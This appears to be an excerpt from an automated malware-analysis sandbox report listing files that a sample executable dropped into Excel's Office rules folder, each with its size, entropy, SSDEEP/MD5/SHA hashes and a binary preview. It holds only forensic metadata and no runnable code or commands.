SSDEEP:	48:D6Kqjm1WuVNU7H0uKpoUGiFuJQUoguEE7sHgD4RAAZifmCfQ8wegK503KXFuED:D6TeWuVC0uKpSiFumeZVgoXlCfQveQQp
MD5:	FF4CAC5AC0341423FA6EC5A658C1BC45
SHA1:	D16D65007AA261CA690167C21951105EACCF4ABF
SHA-256:	D5AB256558466783D4FFAC02C3DACE60A9E7CFBDFC62E30E72C87F9E7E00972A
SHA-512:	EB7BB1C068F2F6FB12DA870DC968DFB100E87451BB840AF3C101E3305E4EBE386F28B795AE3A1FA9167FD0241ED3782598D1CB30D96A6928D2F308345C544D4A
Malicious:	false
Preview:	<?xml...u!.q.>...&}...?........W.'..y?..A.;..x.+v...;......-...I.T..x7.[b......9....9.(.6./.....#......HB?.*&...SA...^$...=K...I9..o.ZL.D..X.-...R`...n..d......[uR....(f.Yt. ..=......`T..V".....KA`......_~B\|..d.].......D...jG...-..,.......h.h....S..R.5......A.......<..3E.....~X.s...]_.q....K.Y.=j........O78-d6kf....2.5t....u..<.. S.\|1l...'.0...@..G.z~.......H.zP...u.....z!.bJ=vt.GQ.i.'?.9T.....F..e..Ed...a.{.^..s....&N.!......48..^O#......'..2O..=..k........ .h.$.......joA...$="....K..q...;......u'...4X4&..#...\|....{..b7v.._tPO.K...y...@..'=mJb..4J.4:.P..6.=....X.Yc...I..\..3..B...t1..$'.o...F......u%QW....nH.o......A..C..`....v....Xt....f....P.4t.Q....==.5.G...L..&....".....r.._..G.uf._..E...U...........>..@...fr.a.A.se..z.....n9.+Di.Vk.t.v.he....x.u-.d....6X..p.\|. ...=....<..@.F.E1..m..gq}eC.......L&.d.cO%...S....s.2.._.....Y.U...:.!.q.....P.....\....W.....p.>A.Y.I.6u.8.......@.a.\..F.`b...0..U.....j..j....>.I.............m...8.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180057v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2008
Entropy (8bit):	7.894996115645065
Encrypted:	false
SSDEEP:	48:kfjMVVbedKsCnQrqJcU9thl9vUfdaX+FyJ+cj7XFuED:kbMnlsCQrqmUhH8FKGyJ+iTFuQ
MD5:	13CE8777A56474FB7AEB2A22DE459351
SHA1:	FEE92EBA13037CF03816703F90A625F4FCF48782
SHA-256:	E8DDCCFFD19BDAC89908BA49CA6E056D2A1B7742BAAC5CFF9EFB562DFD32B3D7
SHA-512:	F3988F9B5A9FB2596003397157CB36D8D365DD51713240D9DA267B75E84E7825AF9B17B2637EE23602CB3050068163A61DCE37C960FFC6395E865FD44EAE55D2
Malicious:	false
Preview:	<?xml....K.....f.......ea3.G.6.x..i..............,.....?..J./.^>0....+....Jr..."..xh<..qo.%..q..+.c../.p...X.X.!..4.._\|..'6..?ea..,q@..c..q........>..5!..V.W.F.k.3.F.Ru.w..u..l....y..x.&%.-w.r&.c.\|.......5....C.e&.\..}j..!/.L..=......."$l.........D..W.Y.....M.....%.....s$Z..W...l.$.>..$.....zp.U....w>.J.lv.S..AN.....F...k...k...!..+Q.DG'._....B0"-...ng...R..}.&n..fz..[t._...4(L.+a...S.\.....p.?.r.........[m....E_...W..H.hG..rC.CB...._.........\..$\^..B9a.....B..<@...Z=n..Cz...Q....(.=...#]....p...Oz...X..!..Q..a..$...W...u.r.O.;..J.5.....V;..\.....#..$...i...,...t...B..{.{......v.i@.....%.....Ej.$.=..Fe.......8N..\...[4.[.I.!W=.=g.ks....hi~.$(.u.}.-..zu.>...cg}...v...z...~..........h.6...d...6...p...A.....9.H..8.b/.Z....S..pn.3.Z..2 Pe.....59jG....s.,..&....th.yK.........6/,........R?..O.T......@.$......?.O.h...Z.p....4S:s.......TdM.%.QNZ;L.\|.y...Xwr.S...j....#;.....T..y...q]x.q-.=.z..#.?E.YTM'(.......r.b....e....... .T<....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180058v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	2453
Entropy (8bit):	7.923665312237622
Encrypted:	false
SSDEEP:	48:0m1Hgsm/MWcW9EUi9w0qHUOpv3tcBdVHCGr0bxMWJSVcMmcXwcA/rJ4PCz2s+zsE:tHgsm/DcoEUi9w0rOTcwG4bxMWsqc+m9
MD5:	969447B2694DB633813C874806AF4214
SHA1:	F5726340E98053A14961A636F0DFFED7DEFD62EE
SHA-256:	6593A6D90F7005E7DA8543857819A62E1F6833B09A05310EB5A889A8BA5CB65F
SHA-512:	67007D37752128392E929F0288FF6E7EF08D8CD60E8633A1131CD25F6C0E6F0358BE4E0866CE291EAE7EDEE33B217B61B5CB92D7734EE47F7A58D8D54434F978
Malicious:	false
Preview:	<?xml.....\q.Qg.rKN..O.'r( ...5.....%......k....."......e..-...i..Y.F..K....,A..#[.....S...(.w.......!........By..b.b...!.......4.o..).x=._"i..s..R.R..D.IAQ........0.\|..Z../.<P....[t......N.._...\|...I..t.rCsT..."..GJ....0.=.....!...%.X....!... f$.z.3.~...0I.=.Z!.<.8.t....w..U...'..<".>.w.......e</e?O$.h\|_z.M..3.%x.%..]T.....Z`.5.2l..oL6.x..,..E...}..Y"fq..1.0...@.T!......U.I.d....(r....}T....\...@..ZA.{o..r;.aO...^I.P......8.H.*F.v:xi....e.0.........]...K8J.n.{i......5<..J.O@....m..._`. ......<.....j...1WwYtiev,.7Q..%.f4..O..Mg........U.....I..'q.".H.......r.6..+..S...Z.v..i:n...............g..J..}...)....fr...T..a....g.B....-.:NR....=.".n~..J..'....n.....{....g..g..~q..B....d....K.@.\|!.a...d.[...}#).G&..b....1.',r...\|q....Ge..OC.BM{........3m0'..3.'............._..;F.[.w.......'.fu.0. GC-..;\|/.i..A..4..=+.7_.Z...IaQ3..,.4e\|.[.}w.1.^.Lp%nJ.W.o..2....b.7...yY....'....6:.].W....A..\.$.....z...L....V.v.X..q6...0..j.b1YSmnP.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180059v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1568
Entropy (8bit):	7.874147096234211
Encrypted:	false
SSDEEP:	24:STQ5dVqvgewZEAetq+HxJIdSkFXS1BI7ncgm+jJjx5agJlQ3VGoePtPaUZlQuXq+:Sc5de2q5xGHStcJvJEGLPtPaULZXFuED
MD5:	91B7A0CF9922889AB540D8E8F89C5349
SHA1:	328DC00304039278CB40EA6BA94ED4BBD0FE9055
SHA-256:	A02F3A1CA65CC05BD0DEE452C1C34DC9AE61DAFB92405E7BD25CC89AB8BAA9D7
SHA-512:	B49507D9A1360F0A05180487BD1959C6DD60DE5177DC54AC3290131A9B9769115BA3A0E9D556334CC7D22FA74314C243E572EFAF6F23C04E7C7ABA4CF5FCC3DC
Malicious:	false
Preview:	<?xml.n.G..t...3..S. .UHF.J.xD}.w.n...\|.f.ULZ.65...tq.qf...q"..`/.].`.w......WPJ..%..S.........Z@.....fTed...Y@E.FD..J.j..&....!~9...7.F.A....m..3...8<.G.....N.h...!.........2D9.~.[..9...$.t...].lz......5b~@...X..:;7.d...P.fND.. ...v7.=@)...f.h._.\......P!.{.m.+......s..W.....C.n..<Q...>.t..Z...s5..Q]..1.g..^.t.U.!.^.\|.8%<...7...Zc_.LvL.]..Nt.....kM..n..p......E....C.8.hg..s...Y.....p.V\|#q..../.!q.#AmQx....0c./6...kS.t.n.\|U%u.....s...j.&.yg..:!....>h.......,..$:..r.....).$.'.9.N/.\|...\|...'......O.....:.(yu..4..6.DM`Ww.x...J[#....e.N.....ck0.z..)l\|.d@f1.....j&..9ET.L..O.t.....G@.^...n.,...O..h aA.m...<............LC.-......I6..<...v...\..%^......\..z....'.....[.F...,..."....k.n.d...q.W$..Qd....1....i..g......v@..S.:.YN.....Ur.$.,.fH.......l.K.'_..30.u.2.T.:nwK.ji.....n.ld..n.g.j........AE.F....>..a6~.f}u}............"...\.zl<s..az5d..~.{.......,lZ....i}.(G...C.?....]GO..w.k.5.q.\|.. &.{.-J....Z'.PLkJ.(........1..:b.up..*....I8.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180063v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1570
Entropy (8bit):	7.8770526121316715
Encrypted:	false
SSDEEP:	48:yiei09lOod8JIjf0cSXlm44EmXJqzQKXFuED:yieiK4g8abcXl/CJKFuQ
MD5:	CB8C0B5740A1917BD3B1D667CEC71651
SHA1:	E2657A7DC90BB301EDC9D7DD58673E30F3E54FD2
SHA-256:	924AACDC3A70E2EB83AF567D1C3B1AE2D5EB84315373E90C743754D366C3A288
SHA-512:	E53FAFA677A6A3C67D29E671B065AFF1EFDF4218A3284AF4262233D427A2DF8B17B40E7CE2AF3C201C70C7E850DB9F30CD40DB119EBFC30D81FB664C3CB4F186
Malicious:	false
Preview:	<?xml.f.....dwZ...CS.>..V....I..L.p...4.Sf{d.t8p..NE.&......H"..oD..@.r..z........`QrP....{c.....<....~.....(Nv..>..j..p.>...)Qm..+.H..1..&Ye...M=8...[....[.G5.\..}..a6.LR.nD.......B.?.K..l...2...5z.\..2V.uq.....^....9%.z.a....GA...J..G.0.A.Bx.R..[..%h..'.oJ}...cS..].1qxX.....Y\|Z......Z...T.!g..x...eZp..^..-..^....b...n.G..2I......L.A.........6.._U'.9a3.oT......4RW^_U..q..(.5..6....x...u...dp...{ ..!....-l.8..\....0......<.....o]...L.{tj1.;..9..A~...-....S\|.-.....<..Wb..{......q.`.W:......k.......C.=.v.........C..S....3..@...F/.juVy...Xi...2(.)H}r...,.#..%M]Q,P.......Q.l.O.d.7`......0./;_Q.b=..f.....5e.f.{"..x....0>.TY....DB.....!....'.P}..@..+r..H..1%..^c.P.....6d\|V....<.o..p. .L..\|G4...Q..ac."...G..r. .m...X.m.....h......D...g\|..G...S.~.....&..X..&..n.....Y3fB.]y.1?S.n.o........e......a+c]R..).. 6...n.7..fR....`..uJ...`{/7.n.2;4.r..XHJ;..}...W....n....k\o..P.Rt/..2M.x.{.....]...&D......;...V......rN5......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180064v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1384
Entropy (8bit):	7.852953521841194
Encrypted:	false
SSDEEP:	24:NDxUOSzmUNT/nsOz44hpt7ff7ZUEjn64VacK9r5SgQWbD3YDSvmXq8uWbD:NdUH/NT/nD4MptRUISPp5xLD3YDSeXFX
MD5:	AB5F7F2FFCAB26CA1CCBFF04783E2BD5
SHA1:	E0FE7623F6AE4F37BBEB59E45F882F3F1CCFF8A6
SHA-256:	709224E3FD8BCD6CDDDC3AE9EBF313F16891EFDA640AA0C9C723E96D8EB5E08D
SHA-512:	8CE643F6A5D3173E452707F907CC67E16C9BE679A611C5318A34D451C89700E016DF527819541DD2EA546BC5DD4BA052B4A6C12E4083413A7A9F9E6224B716FB
Malicious:	false
Preview:	<?xml.fk.6.%...~.,. \|.Ab..j.0....b..<.t...?;.{+.}.LDw.Y.....7.....n.h.4J.~ ....../......m.{.Z..X....O.,...^.k../......mk=..b.E2iv5B.gV..l.......p^.A.vst;..+....F.rP...A......{._..`...gl<S.Zj"H...(e.An[h.-..r.....j.+.A.".....y...by....8.....";c..T.(.../....R.(..o1'.R..me....C.........\|..9..Oq[.H.....J.".......j...i..Op.B..G.2-!..u8.+Q....$.......">..d..;.A^.......?..R5.y..e.l.O..[ja....^j......0Wt/Ft..8..].~\|E..{na.]{...."...5z.......O..Z.Cw..FP....\K.fc.c..D..........fbH...H..#oE....Z...."..w.X.!..MZL.D...%f.S.#..h.T[.(6..7.b...{..V.....:dc2.AZ.P..I.m.U.%.C..,....CL.....=dG....:j.\..{h.Q.k....$.."..`.....W=..}.....2M..2.........E...c.S.PkK.y.q....1S....N....'...+5.-.t.....a,v.....r.....#$r..P..C....^C...3....=)..t....-,V<$ho.p.'...{..1..H&..sf:.z3....2^..u.....:.v.=).{A.m..w.i9.......s...sLT..9G........>.Nva...J.o.@....n..(...~8.d..5..+.bH..Z...8.........9:kR.D..@.O.J...-%_..z_GFU....sz..hU..0.....h%.0h..7..0...Y..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180065v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1772
Entropy (8bit):	7.8684250176777075
Encrypted:	false
SSDEEP:	48:aYs4b1lsp+foPR7NBetSTl9mWk/ckXFuED:lsUfYBPR7NBmST7dk/VFuQ
MD5:	8B6212886DA48512CB612275052BA18C
SHA1:	D01B14A04A3459781070C97F5441E64D6E6805D5
SHA-256:	AAB5135998B8222CCB2C83C96EF60164AA2700B455151552B8177F8FC688193D
SHA-512:	8A02099443050D8ABE82D7F75F2C443DD7A5729401C318A611BF0564AF574E30C726240FCA0A0346BB96B95A43B67C8832F9990EB15468E6E4628B5CD981B05C
Malicious:	false
Preview:	<?xmlP5.x.p..B.=....<.........2..f#&u.]H19..F.1.w.........[....{.}.....=..x.....fZf....E......h..\|,..Wz...qe.5#.4U......@l.t.&.......9+H$.-.7..$.C\|.%.=........E...q.T.....?...y....\|..7d.....A..%;..1N_R....@C...L.....tt..#.f.1...9...:S.q..H.}.&.0..)L.M.'.L..P.....a].4.s....#..K.x.3......_...'..^...gI...O...G.W..."Xh...c..K?.3..Zm.D.<........7D.L.gl(......7.P!..}.`.%.s,...Q..].]my....OH[..........(..K..}............q1..).B.....)i./.&.x.x...i.i.g..}..<a....0..c......(.74..m.kk_sAE>8x..=..YQ.....=......o...?#l..I!qr.7.......j0.,..'.cMQ\|.zT...Q,8.".F.p..o...L.].fI...+p.U...(...F.h.....~.s..@.18....-8n`s..F..Z.[e.........V..h..TE.e,...6.d\|...d.1..u9...d.[.e..m..n;..d..K.r..e.l.......T.....Bf.(.)..g....wdJ\|$.>+........M..B.".@..J.....+. ..T.9....-[]>.,F...).<e..0.4...A....{K..a..OE../a...=uIcu..h..h....).[..}....e.7\.q.V"-.=1.1..X.z.k>..8..._.p....\|..`'i.O..1.......!......d..VbC./H....R@'5..S....>,.\|".a+.y..g..HX}.Rq.Y.....5.'....)O~I.S..QN

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180066v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1478
Entropy (8bit):	7.860803791120439
Encrypted:	false
SSDEEP:	24:pkdv+4btnm7I0ECyNonOlqySBT9zx+d2fGCxyrHys6Y5OJ4Q515SGrs1/RfcRgz5:Sdv+4xCyuOMygTJpGCcreyBQ5LIG0XFX
MD5:	FFC4A8A635B31322B2DBA26214B4B042
SHA1:	BB1EBF8500681799184DFD256ABB03496CD26A83
SHA-256:	E6E980B347C4A446C1F4A095FAAFAD1A308A51A8A5FC6CDB7D2CE0C41F302946
SHA-512:	F8A213A806579F56D038AEEB69F827DC143720135208B9A26B30FE3D872D329C414FB72D282274CAC1799FA662A62061969E761A84F1CA0DCA51C29FE205930A
Malicious:	false
Preview:	<?xml.]I.y..D..H`....<+..Y.sU>......,.....1c.Gm_....J-...<G........+..)e.....v;..=...y..D.x.>.{A.(ie.]G...;5.:P.G.`.F.@.3.....}C9.(.G[1(wW4O^.1.....5..c%..r.ZB..{....@..=N..w.0a..n..".%....l.91x<.Lf..!..C.......587....P.W.....?....E..J +...^....1`%......3.....4.JYG...y.....n8.r...=.Pk./.....s...........g.q.....m.=..:....-.f.... .gT3y...0..U..=...i..i......].Te.X...<...x..n.f....-........).;iYK,;.F..`....'.7....0/...rt.M.Y.H..oF...o.b.[.\9..8.x.B...u..V..'..&....O`..Ry.W4.Z.u....Vl.e...ov.4.]I....D...]C...-.....!..\|.@.:.n...B......OBU...[.\/.k.&V.8.b........?......(..`...w(.0h.e.;..5+.v?...>.....E#.>Q..y[.t.-.Wz..}iG@...P.."...Hi&.6...W0J..Jc.K.y..<pUU`N.h.%Z.0.j..vQ0...q$....$.}A.R...X...csc....4...=.......O.s..M.m..>....%.q.8....r..O..g.....)..{.1.j.D.Q....L>.2bR....q.9e......$`..>.T{..... d......A..._e;L..k..xX.T.J...^.o....#..v.Y.0V.+...#...<..Qt=.x..a..X..9x.>g..E. zez..qZ....W...1..&.bZ\|84.!..u9#,[xE...TH.T2=7.....7X{...k...7.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180072v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1565
Entropy (8bit):	7.867531099150798
Encrypted:	false
SSDEEP:	48:97LyU9p4N5Y6lrAjk/qYu7D9ubWVzJy4FsGzDXFuED:96U/qcg/hu7D9NXy4i+FuQ
MD5:	03E64EBE317198C531BEBB307D214F77
SHA1:	E5B11C2EE6BC685E2E019B3212C218B2DAB092C7
SHA-256:	9536AA99DDAEBC5A9568F23980F38E7E68EF571C47B5855F4F8C6B1B068AF087
SHA-512:	6F9907A2B140F481C62AAC7BA6C1DCBA0647AE7A1207111BE40569E76C4FC5E0287B84B1E0A39E640168A0C54A05E1DCB2D2E6E1BF42ABCC695980B5C1AA8D20
Malicious:	false
Preview:	<?xml.._.}Q.\|.......>...HOY^'.J.;P.?...m...P../.).[.@..t..r.>......s.....n..-.U.t.7..P=f.w.#B..& >..%..."...st}..q_(mg>m.....M.p8.U.z.\..R]F!5)A\|.T......f0...yk@........f..i....7.?.....CB....(!..c.3.J.ky...Y..'.p9.$...d..IXS_.Kq..f...../.S.$Sq.V."...''&.M.1~...........l......'../F...gpML.......O...}..d...w\=.BR.....tX.u-....vd.....0r...g...B<.e\|w...v{j.HY{.......e.W...522..D.uf..[...E...7.{.....SA/\|...y.........c......}j.].f...]?.....R.i^.'..4.L.;&...H..Y......V.2U........>\|.....u5n.........y.vr}d..S..h"..%..M!.....-eI...Q...+..,W...I)_...=....z....{..-+.%...?.k.$.&.}.G..'zA..9.....S...K.7..+.FJ....7..L..R,,..!Z..<...n]N9.K.Te..M.>`8...zQ........g+$fC.\....Yp.....K...'.. ...IkJ..y..p..e.......f.e..WG.....?.3..\|5ET...H....\..I.......N7.J. .~..0.B....cD<:..n.L.....B.{[..!..Q....!....Y..k.S{.L.h.*.#e.^%X.NN.F..P.r ...\|...5.u....W.3./$).$.AP.P-....QOB.v...4..3.....H.rs......;["a.U.7d.$.m....N..c./D..G.}...7J..g}....:.....i........5%.`k.%&...nK

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180077v3.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1793
Entropy (8bit):	7.8984252520266045
Encrypted:	false
SSDEEP:	48:U1PyX8+1ZtRZMqkIwQ+Ged6+klHPEWz+qKoH7/I/XFuED:ka31ZrZMqSQS/klcWaqd7g/FuQ
MD5:	1AD481CC0E575F0CE52702FBCC91BD04
SHA1:	6E2CB27C8A988AAD543A09A2753340E872D17270
SHA-256:	58D36520770EE24E19771D835734D3714FB8E04979B4804A623B439EBA996623
SHA-512:	D9D5A1BFFB4B87845DE717E48F9BE4EF3133C1EDE86B84DFDC413F679EC9871740DB98BAB111E272BFE3749568623A7C8A8B272D1710AC897EEB8A7CD0538846
Malicious:	false
Preview:	<?xml.....W..Q.`rhU..6}.`...I.kKI...E...kpb..7)..S...a..c.=4D...(@..T..G..K...)....N.FZ.rJ.\|...Y+..p....}f..@(.-.T.60.oc&... }.......F..a..}...v.... 2.O.J..j.V_...`....G...m)>u./k..R..`...6....e,...}.A..=k...o.......?Q.......V.6.r...1..-...Nx.b.C.g.0...b9......_.0...\..`...2P.=....k!S...d..m.B....D...,6..Q.?....P.\..DZ\}B>.N.\|..\|..za...W1=E.:.......M\^.+>.j..-.....o.....R%.9..7.....H.......T.t<.bA.U...`..-.]4d0..^...0Q.X9.!R......3....g..p.$VI.....nH=.......j..,..k\.t.l..4.H..{.....y.M..$.1+.G.#4.#NE.......M..b.?.i...a.(..j.....y ..1...@.W.++J......."m.D.q_....[.U..~.t.)..v...L..g....D.6K..,...d9.9.R.\.&jd..;.....Z..o&R.. H.x..xPl.J0f=.h2..)...i.`L.GEz.u...&d..(....g....P..&\ 3..R\..m+W.-.r.....Kk.X}.j..t.W6....-.eq...8p.....7!.D..G28..)@..{.N..O.z..c^....O-...e`.*.1...v:[..x....6......0T.dZ._.2O4.../.U.<Ux...]{s......C..A....IA.....".%.9...}i......(.<.9k.+..W.?..Z3.L....u.,........... <+h\......s@.}..JU.....90. F..w..Kh.w...?.>..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180078v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.894098633357775
Encrypted:	false
SSDEEP:	48:rbFC2LASpUN/AjW2g96GFKijFr2ff7rOlGHgXFuED:rb02LAk496eZMf/OlGWFuQ
MD5:	99330050BBD474C83257545558627142
SHA1:	469BFEF8B69988D71E4D918B016CB677BE8EEF96
SHA-256:	38867FD9FCE45180B1BB19FEA04A2A30B3A886EABD1B5C23913DBFA8F34C0088
SHA-512:	4541DF122DA5CBDD560926B9F75CF9924283B272CF69D2D6048B59A7E506D85083D415734A34D07F6E73F711B7EEC44AB4455C66B8F311611099967A058CA8D9
Malicious:	false
Preview:	<?xml.l.v....&6.#?....c..Q.....h\|..\a...{$.'ph..O,..?:oi...dnIu..(f..X.I...83f..4u.RJT..U...\|.[..k..eA0.......\|..l._..G...i.i1p@._]n.9.....`\...\|....\...4A...........9.zQ.i,.5.ZnP....;..^2..K..=.......@..L..k.c.v...A~....I.e......4]..-.&<&.X.R..p2a.2&.<..r..Y0~7...aS.. ....+^..'.........9.s&.......V.......M....5.&6.g.g...2...;0....@xjn.B.=(.....\|..`..=,>..8.>......J.O-T8..Pz..B......."g4.E.s.5.x...VQ..T....+..g.\|...OA.\|..A?\|$-8W...?.}S..oe..G...w.$.-...+.....p_.......zd...5.....p:zW.}2......L.[.....]..e....6..-..`.......$.P../zM~.Q......$.....,.B....w.Y\.:...&.q.....h.(d\.K....[...._dLp....._..>..B^)Mr.Im5.)6k.c..i...P.y..E9f...._....nTF..Kc.<v<..=Z.c.....4.3..N9..+.....z.$l..q..p.......j.......n...A...4kE....@u..T .d`....5._..s.O0n.m<L...l...(..R...U.n.....O..F.x.tp.......,...Hx...4.-...........U+.....Qc.+N...n.. 3Df.A...s./v.......d...?...\|..ez.m..W\...9..B'.~.b.S5Q.T.....5..#.5.\o..........?..!.......iQ...9<f....^.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180079v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1461
Entropy (8bit):	7.83528164584575
Encrypted:	false
SSDEEP:	24:BCeUdXpynfHxMV5ir+c1+AS2gANI7xb9FNjomkRixcnX6jgjE+VxHuKDDUlcZRys:BY8fHxMpc1lm7ZZ9OnzQ+VVXWCRfWsO6
MD5:	135CDAC7CC7E88EE938CD7CAE44C033F
SHA1:	20B22608A11C1F7FB90519918EBAE597663D7BD1
SHA-256:	C378384F8408A1E1131DCE24E03E0599BFB747E6F9A16FDE585A59083EA2E660
SHA-512:	19A97E0BA32F71830D606C9D3F1F03819858F3BDE6CE284C03103EB4C4F32BF5C419CB5BFCF2A8CC7B814E857506298C88EA8B9BA94691FEB546C5D830662222
Malicious:	false
Preview:	<?xml.......F...c..bS.j,.....@.._.Q.}.....>^...74^2<....'e...4).H= ......j.lC..?.De...8s...N.8..lT+5..E...)I.I..v-..G..l..w..V`....31Ai...+......h.....\|._.....qA.%.....%L.c.T.jR%.wD...1&......i1...P....N..I..E^~\|Ey.}.`s.i..c..V..=.F.2K.V.]..D.^W....6 ..\H.........2..........4...J..g.$.....=@.W..6b..1......N...xS..5....k...^..Dl.B...Q..(...@.<...-......U....3.J.w,....4..0$. .cJ..]........B....6..l....[P..N...,.+V}....7Z...].......va...a....h..../>q..-[k...6.`U.......Nt..^..\........z<...^.8.>.w.......N....B.H..K...R{..@HA..H..E.k..m..c..r...4i.x.+..'..l..\.U...a.L;.cK..3.../...Z.....]]l.32`:.{m.,6.-...?K.M....H:..E6.r...LU.$Q..V }.Ff.`...c[%0(..U.......?.....z..g..i...%..- ..;FP..j:..q....o....v.B...>t....N.....<.>1.E..d...>..4u.._h.]B.X.y.[..[.F\x.".Ki..E;n.R..,.z$..Sp.'b?R.)j.3..L..^...sv.'D.<.}..=b..9o..$.......i.n.M.."...yLFM.....+_X$.y.L..oe29!..RmjE.Z."."P.ZVr..1..M(.9{1.b..\|..'.k+......u.9.H.^u.U.. !JI.mb34.=@.G..J.~..1..(Fx.h.wI1 .

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180080v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1121
Entropy (8bit):	7.778678679055787
Encrypted:	false
SSDEEP:	24:HyqTZZ+gfzx5ssYewHUJdKkOYDXZdGfUPB0ejrVjTmURkdZy5rXq8uWbD:3ZZNzk5kdKerGfUPBzXVjka5rXFuED
MD5:	97C17BF56A798386C9B29688A4C4AF28
SHA1:	A7CC0AEA5A41E03083F141A0D85E3A15B90D5FCA
SHA-256:	A0A576141B9EDD1EE2CBC9DBE2E5D245926A7DC697178B09571A948FDA228A48
SHA-512:	216D2BBD8667FDAF289CFC02E8C9F012552E638D95171B9EEE61368AB4253139A7572D282CCA805C71CE76BEB564717F84D3CAF1D475469D4E657559006610B6
Malicious:	false
Preview:	<?xmlK:v..=V../..v.6..2D..[.1...\|..D5.E.P.~C.lZX..e'..v..5...=.}6.8b...r..%cd..O"..&.9G......N&.['3.[.364M.:....H+;".`..].......-E...X4=[\|yB.!'.U....<.n.B.....1o./..=...qP.^Q..%......z.(.m...\|.SB.....).@...d..6..&...........M.3..E..3..H..=.....O}.....n.Y?I....3gb..)m...!s.@.S`,...+.\&..nG....Z,LY~.....3...~..)^\....I............\().k?.A.r;.dN..l...6....{+...t~..S.J.1.e.'..0I.W&Y.U&.)y.C>...T.g.jy"8Q..txTt....&.A..O.....$.88....iI..4f.{.A.Y"..,g..F..4m]..j .W.......dGlt.)...'d3N..e.3.R.[.....<.f.6/{^..G..t6_)...R..J.ft..S^q.m.}.Q....1a.._..,.mJ..,..s.i.^..1.&. ^.iO...N"c+B..(I.6.?-..z...Z)K....X.>.............a.%f&.8"9I...x.n...Q..u7.."....#....}..t.+7.......b...t.&..E.Y.d.o.."$[.....Lm....P..Z...k.7's.(T....1%..t...:.%l...8G...>D{y'............Y.=.,..f.e.5.~........x\|...m...I..8......u.Sy.W...^[M...&sn5..(..]..>..`....g.>....g.?....:."\.0.B..m$x.4.^`.........l..... ^j....1g5..P.A.'D.m..l...+.[.\|w...Rx.I.B...4.....v.....wr...%.$r.h.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180084v0.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1393
Entropy (8bit):	7.869330426650213
Encrypted:	false
SSDEEP:	24:IVz7yjoNh2JbMWRQYU0o6aS5ggpuWeoxbwcDEavlVoEUKKf0bdGMBAXq8uWbD:IJOqh2mIQr0o6VIWVx9EavlBHdBAXFuQ
MD5:	8AA4F34FABFE99F5A03A241462B500BF
SHA1:	7D2CFC3D296FC708855A7802827FC0DCA2DF45C1
SHA-256:	62296B58B184A75A8EF1CF2BAA2296A30E5FDFD5F53603D2574B262906265C74
SHA-512:	CFDEC9B6157A0DB90AAFFB6DB2325F0CB0B90AE8A3E44860FE2BBF56F0B99F2014D8F507A5F444B8CCEBDC7B633155FEC9D0D9546529D5308B076E3E791CBBC2
Malicious:	false
Preview:	<?xmlV..N.g\|~.........!...X..!v...bM.x...Y...e,../....&.8)K...j.f.l.!.qnA....H.._...R..u...2.ehm.. ...J.]...w.Bu#........Yn`..7^.P..-=)S.:.`25..U?..3@...../D.V%.2....>....p.`U.s....v..Xr.[..<5.R!.$Z_.$...Jn.....Q..,..<7.._wfj.......b`{....\|.2...J.......p..1..........o..5D........{..[eV....B.J.j..4."]"f.O...<.....e..g..04.)..........s.Z.2....BA&......I..~.....Smk..A.r...M....&0ZL.e=<...N.%.......-...j.G.y...._.H. ......14OG......FF.a.l.(qH...........N.....].<...L...e.....t..R]%......{....'}x..R.,?.-y^1..`c0:...4....P. .4.....S.qM.x\...E5c...L.48.7a..\...RK.:]......q....T,C].;...C6.5...2*C......rA...].;.h.k.u.1D.P.Z..U".....J~..T..G.^...'Co...1..O.....O...b..<g......o..bTq............hu{.c..Ez`@..m.}....Z$....RR.....mZ.Df.../)jb.{f..G..b.I."..n....(.k..P.O......<.Ex2.M.....D..2.).....e.k...}...4/..e#..w].58.....x..Y3.W..x.r...$.:...fO..{.<.0t......g...[.f).... {.u.......I. .80.A...g..m..c...H.../A.......$;.z+..0...C..z.W.u6Q.pAIQ...gS.\|v.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule180087v3.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	702
Entropy (8bit):	7.662294991189709
Encrypted:	false
